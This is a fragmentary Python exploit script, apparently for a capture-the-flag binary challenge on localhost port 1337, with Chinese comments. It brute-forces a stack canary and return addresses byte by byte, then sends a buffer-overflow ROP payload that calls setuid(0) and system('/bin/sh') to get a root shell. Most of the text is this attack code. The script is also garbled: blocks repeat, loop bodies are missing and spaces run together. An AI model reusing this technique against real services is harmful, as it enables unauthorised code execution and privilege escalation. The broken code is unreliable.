#爆破canary knownCanary=b'\x00' for i inrange(7): for test inrange(256): ioHandler=remote("localhost",1337) ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
#爆破返回地址,challenge里应该是回到……?636,main里面 retAddrOffset=0x2636 returnAddr=b'' for i inrange(8): if i==1and returnAddr==b'': print("爆破失败\n") break for test inrange(256): print("第{}次,遍历到了数字{}\n".format(i+1,test)) ioHandler=remote("localhost",1337) ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
#开始最后阶段调用system ioHandler=remote("localhost",1337) ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.") payload4=b'a'*(offset-16)+knownCanary+b'a'*8+p64(pop_rdiReal)+p64(0)+p64(setuidAddr)+p64(pop_rdiReal)+p64(binshAddr)+p64(sysAddr) ioHandler.recv() ioHandler.send(payload4)
for i inrange(7): for test inrange(256): ioHandler=remote("localhost",1337) ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
#该如何衡量main函数的返回地址“猜对了”还是“猜错了”??? ''' main退出流程: 1 main->return 0,执行ret指令之前rsp指向的地方存着mov rdi,rax指令的地址,然后pop rip 2 跳去执行mov rdi,rax(此时rax=0),这个0将作为exit的参数 3 call exit 没有输出??? ''' defcheck(response): if"This challenge is listening for connections on TCP port 1337."in response: returnTrue else: returnFalse
#爆破__libc_start_main地址 returnAddr=b'\x2D' for i inrange(7): if i==1and returnAddr==b'\x2D': print("爆破失败\n") sys.exit() for test inrange(256): print("第{}次,遍历到了数字{}\n".format(i+1,test)) ioHandler=remote("localhost",1337) ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.")
#开始最后阶段调用system ioHandler=remote("localhost",1337) ioHandler.recvuntil("might take anywhere from 0-12 bits of bruteforce depending on the scenario.") payload4=b'a'*(offset-16)+knownCanary+b'a'*8+p64(pop_rdiReal)+p64(0)+p64(setuidAddr)+p64(pop_rdiReal)+p64(binshAddr)+p64(sysAddr) ioHandler.recv() ioHandler.send(payload4)